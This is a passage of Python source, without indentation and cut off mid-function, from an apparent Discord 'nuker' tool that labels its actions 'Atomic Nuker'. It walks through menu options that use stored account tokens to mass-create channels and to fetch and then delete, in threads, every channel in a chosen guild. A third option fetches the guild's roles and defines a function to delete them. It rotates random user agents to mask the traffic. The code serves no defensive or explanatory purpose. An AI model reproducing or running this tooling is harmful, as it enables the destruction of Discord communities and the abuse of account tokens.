"Authorization": tokens()[0],
"X-Audit-Log-Reason": "Atomic Nuker"
},
json={
"name": name,
"type": {"text": 0, "voice": 2}[type_]
})
try:
print_success(f"Created {Col.green}{b.json()['id']}")
except:
print_err(f"Failed to create {Col.red}{name}")
print_(f"[!!] Started Creating {count} channel(s)")
for i in range(int(count)):
Thread(target=create_channel, name=i, args=(guild_id, name, type_)).start()
time.sleep(0.5)
else:
time.sleep(1)
await tokenTools()
else:
await tokenTools()
if ch == '11':
print_logo()
print_("[=] Enter Guild id")
guild = input_()
print_logo()
if guild.isalnum() and len(tokens()) > 0:
r = req.get(url=f'https://discord.com/api/v9/guilds/{guild}/channels',
headers={ "Authorization": tokens()[0],
"user-agent": random_useragent(),
"Content-Type": 'application/json'})
if r.status_code == 200:
print_(f"[!!] Started Deleting {len(r.json())} channel(s)")
def delete(channel):
b = req.delete(url=f"https://discord.com/api/channels/{channel}",
headers={ "Authorization": tokens()[0],
"X-Audit-Log-Reason": "By Atomic Nuker",
"User-Agent": random_useragent()})
print_success(f"Deleted {Col.gray}{channel}") if b.status_code == 200 else print_err(f'Failed to delete {Col.red}{channel}')
channels = [i['id'] for i in r.json()]
# print_(f'[!!] Started Deleting {len(channels)} channel(s)')
for channel in channels:
Thread(target=delete, args=(channel, ), name=channel).start()
time.sleep(0.5)
else:
time.sleep(1)
await tokenTools()
else:
print_err("There Was an error while scrapping channels")
time.sleep(5)
await tokenTools()
else:
await tokenTools()
if ch == '12':
print_logo()
print_('[=] Enter guild id')
guild = input_()
if len(tokens()) >0 and guild.isalnum():
r = req.get(url=f"https://discord.com/api/guilds/{guild}/roles",
headers={ "Authorization": tokens()[0],
"User-Agent": random_useragent(),
"Content-Type": "application/json"})
if r.status_code == 200:
def delRole(guild_id,role_id):
b = req.delete(url=f"https://discord.com/api/v9/guilds/{guild_id}/roles/{role_id}",
headers= { "Authorization": tokens()[0],
"User-Agent": random_useragent(),
"X-Audit-Log-Reason": "By Atomic Nuker"})
print_success(f"Deleted {Col.gray}{role_id}") if b.status_code == 204 else print_err(f'Failed to delete {Col.red}{role_id}')
roles = [i['id'] for i in r.json()]
print_logo()